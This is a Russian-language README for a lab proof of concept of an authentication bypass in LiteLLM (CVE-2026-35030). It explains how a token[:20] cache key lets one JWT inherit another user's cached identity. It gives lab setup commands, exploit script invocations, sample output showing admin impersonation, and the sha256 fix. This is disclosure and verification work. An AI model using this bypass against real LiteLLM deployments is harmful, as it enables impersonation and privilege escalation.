
Код для самостоятельного воспроизведения соответствующей уязвимости
LiteLLM использует
token[:20]в качестве ключа кэша для OIDC userinfo. Два разных JWT, подписанные одним и тем же алгоритмом, имеют идентичные первые 20 символов, что позволяет неаутентифицированному атакующему унаследовать кэшированную идентичность и разрешения другого пользователя.
| Поле | Значение |
|---|
| CVE | CVE-2026-35030 |
| CVSS v4.0 | 9.4 (КРИТИЧЕСКИЙ) — CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N |
| CVSS v3.1 | 9.1 (КРИТИЧЕСКИЙ) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| CWE | CWE-287 (Неверная аутентификация) / CWE-222 (Недостаточно защищённые учётные данные) |
| Затронутые версии | LiteLLM < 1.83.0 (с enable_jwt_auth: true) |
| Исправлено в | v1.83.0+ (ключ кэша изменён на sha256(token)) |
| Опубликовано | 2026-04-06 |
| Обнаружено | Veria Labs |
| Ссылки | GHSA-jjhc-v7c2-5hh6 • NVD • GitLab Advisory |
LiteLLM — это AI Gateway / прокси-сервер для вызова LLM API. Когда JWT-аутентификация включена (enable_jwt_auth: true), LiteLLM проверяет токены у OIDC-провайдера и кэширует ответ userinfo.
Уязвимость: Ключ кэша использует только первые 20 символов JWT:
# Уязвимый код (до версии 1.83.0)
cache_key = token[:20] # Только первые 20 символов!
JWT состоит из трёх сегментов, закодированных в base64url и разделённых точками:
<header>.<payload>.<signature>
Заголовок (например, {"alg":"RS256","typ":"JWT"}) кодируется одинаково для всех токенов, использующих один и тот же алгоритм подписи. Это означает, что два разных JWT — выданных совершенно разным пользователям — будут иметь одинаковые первые 20 символов.
1. Администратор аутентифицируется → LiteLLM получает userinfo → кэширование с ключом = token[:20]
↑
2. Атакующий создаёт JWT с тем же алгоритмом (RS256) ────────────────────┘
→ token[:20] ИДЕНТИЧЕН → попадание в кэш → наследование идентичности администратора
Примечание о корпоративном лицензировании: JWT/OIDC-аутентификация является корпоративной функцией LiteLLM (требуется
LITELLM_LICENSE). Для локального воспроизведения CVE оба Dockerfile патчат проверкуpremium_userнаTrue. Это не влияет на уязвимость — коллизия ключей кэша (token[:20]) существует независимо от корпоративной проверки.При первом запуске выполняются миграции Prisma (~60-90 с). LiteLLM будет готов, когда в логах появится
"Uvicorn running on http://0.0.0.0:4000".
# 1. Соберите и запустите уязвимый LiteLLM + фиктивный OIDC-провайдер
docker compose up -d --build
# 2. Установите зависимости Python
pip install -r requirements.txt
# 3. Создайте тестовых пользователей (необходимо для JWT-аутентификации — требуется мастер-ключ)
curl -s -X POST http://localhost:4000/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"user_id": "admin", "role": "proxy_admin"}'
curl -s -X POST http://localhost:4000/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"user_id": "attacker", "role": "proxy_admin"}'
# 4. Демонстрация коллизии ключа кэша
python3 exploit/exploit.py --mode demo
# 5. Запуск полного эксплойта (обход аутентификации через коллизию кэша)
python3 exploit/exploit.py --mode exploit --target http://localhost:4000
# 6. (Опционально) Проверка исправления в v1.83.0+
docker compose --profile fixed up -d --build litellm-fixed
python3 exploit/exploit.py --mode exploit --target http://localhost:4001 --fixed
Режим демонстрации — показывает коллизию ключей кэша:
[+] JWT администратора (subject=admin):
Токен: eyJhbGciOiJSUzI1NiIsImtpZCI6Im1vY2stb2lkYy1rZXktMDAxIiwidHlw...
Префикс: 'eyJhbGciOiJSUzI1NiIs'
[+] JWT атакующего (subject=attacker):
Токен: eyJhbGciOiJSUzI1NiIsImtpZCI6Im1vY2stb2lkYy1rZXktMDAxIiwidHlw...
Префикс: 'eyJhbGciOiJSUzI1NiIs'
[🔥] КОЛЛИЗИЯ: Оба токена имеют одинаковые первые 20 символов!
Причина: Оба токена используют RS256 → одинаковый base64 заголовка JWT → одинаковые первые 20 символов
→ cache_key = token[:20] = 'eyJhbGciOiJSUzI1NiIs'
Режим эксплойта — демонстрирует фактический обход аутентификации:
[УЯЗВИМЫЙ] Попытка эксплойта — цель: http://localhost:4000
[*] Шаг 1: Получение JWT от OIDC-провайдера...
Коллизия префикса: True
[*] Шаг 2: Отправка JWT администратора в LiteLLM (заполнение кэша OIDC)...
HTTP 200
Ответ: {"user_id": "admin", ...}
[*] Шаг 3: Отправка JWT атакующего (попытка коллизии кэша)...
HTTP 200
Ответ: {"user_id": "admin", ...} ← НАСЛЕДОВАН АДМИНИСТРАТОР!
[🔥] ЭКСПЛОЙТ УСПЕШЕН! Атакующий унаследовал идентичность администратора!
token[:20] атакующего совпал с ключом кэша администратора.
Ответ user_id='admin' (ожидалось 'admin' для повышения привилегий)
Исправленная версия — ключ кэша sha256 предотвращает коллизию:
[ИСПРАВЛЕНО] Попытка эксплойта — цель: http://localhost:4001
[*] Шаг 1: Получение JWT от OIDC-провайдера...
Коллизия префикса: True
[*] Шаг 2: Отправка JWT администратора в LiteLLM (заполнение кэша OIDC)...
HTTP 200
Ответ: {"user_id": "admin", ...}
[*] Шаг 3: Отправка JWT атакующего (попытка коллизии кэша)...
HTTP 200
Ответ: {"user_id": "attacker", ...} ← СОХРАНЕНА собственная идентичность
[+] Атакующий идентифицирован как user_id='attacker'.
Исправленная версия: коллизия кэша предотвращена.
В файле litellm/proxy/auth/handle_jwt.py кэш OIDC userinfo индексируется по token[:20]:
# Уязвимый код (до версии 1.83.0) — litellm/proxy/auth/handle_jwt.py
cache_key = f"oidc_userinfo_{token[:20]}" # Только первые 20 символов!
cached_userinfo = await user_api_key_cache.async_get_cache(cache_key)
if cached_userinfo is not None:
return cached_userinfo # Попадание в кэш → пропуск получения userinfo!
# Исправленный код (v1.83.0+) — тот же файл, строка 625
import hashlib
cache_key = f"oidc_userinfo_{hashlib.sha256(token.encode()).hexdigest()}"
token[:20] недостаточен| Компонент токена | Содержит данные пользователя? | Фиксирован для одного алгоритма? |
|---|---|---|
| Заголовок (первые ~30 символов) | ❌ Нет | ✅ Да — идентичный base64 |
| Полезная нагрузка (данные пользователя) | ✅ Да | ❌ Нет — уникален для каждого пользователя |
| Подпись | ✅ Да | ❌ Нет — уникален для каждого ключа |
Поскольку заголовок — единственная часть в пределах первых 20 символов, и он идентичен для всех токенов с одним алгоритмом подписи, каждый RS256 JWT от одного и того же издателя имеет абсолютно одинаковые первые 20 символов.
| Сценарий | Описание |
|---|---|
| Повышение привилегий | Пользователь с низкими правами становится администратором через коллизию кэша |
| Горизонтальная подмена | Выдача себя за любого пользователя, чей userinfo кэширован |
| Цепочка обхода аутентификации | Комбинация с CVE-2026-35029 для достижения удалённого выполнения кода (RCE) |
CVE-2026-35030/
├── README.md # Этот файл
├── docker-compose.yml # Уязвимый + исправленный LiteLLM + фиктивный OIDC
├── litellm_config.yaml # Конфигурация LiteLLM с включённой JWT-аутентификацией
├── requirements.txt # Зависимости Python (PoC)
├── litellm-vuln/
│ └── Dockerfile # Уязвимый LiteLLM v1.82.5 с патчем корпоративной версии
├── litellm-fixed/
│ └── Dockerfile # Исправленный LiteLLM v1.83.0+ с ключём кэша sha256
├── oidc-provider/
│ ├── Dockerfile # Образ фиктивного OIDC-провайдера
│ ├── requirements.txt
│ └── server.py # Фиктивный OIDC (FastAPI)
├── exploit/
│ ├── exploit.py # Основной скрипт эксплойта PoC
│ └── token_forge.py # Утилиты для коллизии JWT
├── docs/
│ └── advisory.md # Справочная информация об уязвимости
└── screenshots/
└── README.md # Заполнитель для скриншотов доказательств
sha256(token))enable_jwt_auth: falseОтказ от ответственности: Этот материал предоставлен только для образовательных целей и авторизованного тестирования безопасности.